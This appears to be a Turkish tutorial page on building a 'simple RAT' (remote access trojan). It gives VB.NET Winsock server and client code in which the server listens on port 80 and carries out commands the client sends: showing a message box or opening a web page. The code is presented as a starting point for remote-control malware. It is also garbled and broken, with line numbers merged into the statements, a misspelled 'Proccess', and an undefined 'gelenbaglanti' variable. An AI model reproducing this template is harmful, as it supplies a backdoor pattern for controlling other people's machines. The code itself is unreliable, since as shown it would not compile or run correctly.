Rat Yapımı Basit

Server Kodları;

———————————————————————————————————————–

Form_Load Kodları;

1 2 3 4

AxWinsock1.Close() AxWinsock1.LocalPort = 80 AxWinsock1.Listen() Label2.Text = AxWinsock1.LocalIP

AxWinsock1_ConnectionRequest Kodları;

1 2	AxWinsock1.Close() AxWinsock1.Accept(gelenbaglanti.requestID)

 AxWinsock1_DataArrival Kodları;

1 2 3 4 5 6 7

AxWinsock1.GetData(label2.Text) Select Case Label2.Text Case 1 MsgBox("Bu Rat Bar3n-R Tarafından Yazılmıştır!") Case 2 Proccess.Start("http://www.google.com.tr/") End Select

———————————————————————————————————————–

Client Kodları;

———————————————————————————————————————–

Button1 Kodları;

1 2	AxWinsock1.Close() AxWinsock1.Connect(TextBox1.Text,TextBox2.Text)

Button2 Kodları;

1	AxWinsock1.SendData("1")

Button3 Kodları;

Visual Basic .NET

1	AxWinsock1.SendData("2")